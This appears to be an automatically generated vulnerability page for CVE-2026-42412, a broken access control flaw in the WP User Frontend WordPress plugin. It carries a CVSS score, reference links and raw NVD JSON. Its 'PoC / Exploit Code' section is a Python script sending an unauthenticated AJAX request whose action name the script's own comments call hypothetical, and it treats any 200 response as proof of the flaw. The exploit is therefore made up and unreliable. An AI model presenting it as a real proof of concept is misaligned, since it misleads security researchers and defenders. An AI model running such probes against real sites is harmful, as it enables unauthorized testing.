CVE-2026-42412

Description

Missing Authorization vulnerability in weDevs WP User Frontend allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects WP User Frontend: from n/a through 4.3.1.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

weDevs WP User Frontend <= 4.3.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL structure for WordPress AJAX
# Replace 'example.com' with the actual target domain
target_url = "http://example.com/wp-admin/admin-ajax.php"

# Payload data simulating the vulnerable action
# The specific action name 'wpuf_action' is hypothetical based on the plugin prefix
payload = {
    "action": "wpuf_vulnerable_action",
    "param": "exploit_value"
}

try:
    # Send POST request without authentication cookies or nonces
    # Demonstrating that the server processes the request without verifying privileges
    response = requests.post(target_url, data=payload, timeout=10)
    
    if response.status_code == 200:
        print("[+] Potential Vulnerability Detected: Server responded 200 OK.")
        print("[+] Response Content:", response.text[:100])
    else:
        print("[-] Server responded with status code:", response.status_code)
        
except requests.exceptions.RequestException as e:
    print("[!] Error connecting to target:", e)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42412
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42412
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42412/
[4] VulDB https://vuldb.com/cve/CVE-2026-42412
[5] https://patchstack.com/database/wordpress/plugin/wp-user-frontend/vulnerability/wordpress-wp-user-frontend-plugin-4-3-1-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42412", "sourceIdentifier": "[email protected]", "published": "2026-04-29T09:16:24.273", "lastModified": "2026-04-29T21:15:41.667", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in weDevs WP User Frontend allows Exploiting Incorrectly Configured Access Control Security Levels.\n\nThis issue affects WP User Frontend: from n/a through 4.3.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/wp-user-frontend/vulnerability/wordpress-wp-user-frontend-plugin-4-3-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}